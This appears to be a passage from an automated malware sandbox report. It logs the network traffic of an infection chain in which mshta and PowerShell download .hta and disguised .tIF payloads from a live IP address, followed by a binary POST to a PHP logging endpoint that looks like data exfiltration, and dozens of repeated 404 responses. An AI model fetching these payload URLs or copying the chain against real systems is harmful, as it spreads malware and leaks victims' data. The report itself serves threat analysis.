Source: global traffic	HTTP traffic detected: GET /42/logisticthingswithgoodthingsgivenbest.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Fri, 25 Oct 2024 04:28:49 GMTConnection: Keep-AliveHost: 192.3.176.141If-None-Match: "33177-625458e388bb6"
Source: global traffic	HTTP traffic detected: GET /42/LOGLKI.txt HTTP/1.1Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/LOGLKI.txt HTTP/1.1Host: 192.3.176.141Connection: Keep-Alive

Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: qrisni.me
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: unknown

HTTP traffic detected: POST /logs/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F0B98DE8Content-Length: 176Connection: close

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:32 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:33 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:34 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:36 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:37 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:39 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:42 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:43 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:44 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:46 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:47 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:49 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:50 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:51 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:53 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:54 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:56 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:57 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:47:58 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:00 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:02 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:03 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:05 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:07 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:09 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:11 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:12 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:13 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:14 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:15 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:16 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:18 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:19 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:21 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:22 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:23 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:24 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:26 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:27 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:28 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:31 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:33 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:34 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:36 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:39 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:40 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:42 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:43 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:45 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:46 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:47 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Fri, 25 Oct 2024 17:48:48 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/
Source: powershell.exe, 00000005.00000002.483382869.0000000002271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.497828214.00000000026A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/logistic
Source: powershell.exe, 00000010.00000002.497828214.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.504077004.000000001A986000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/logisticthingswithgoodthingsgivenbest.tIF
Source: powershell.exe, 00000005.00000002.483382869.0000000002271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.497828214.00000000026A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/logisticthingswithgoodthingsgivenbest.tIFp
Source: mshta.exe, 0000000B.00000003.482193000.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.00000000002E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.483279265.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.483389576.00000000034AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta
Source: mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.00000000002CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta...
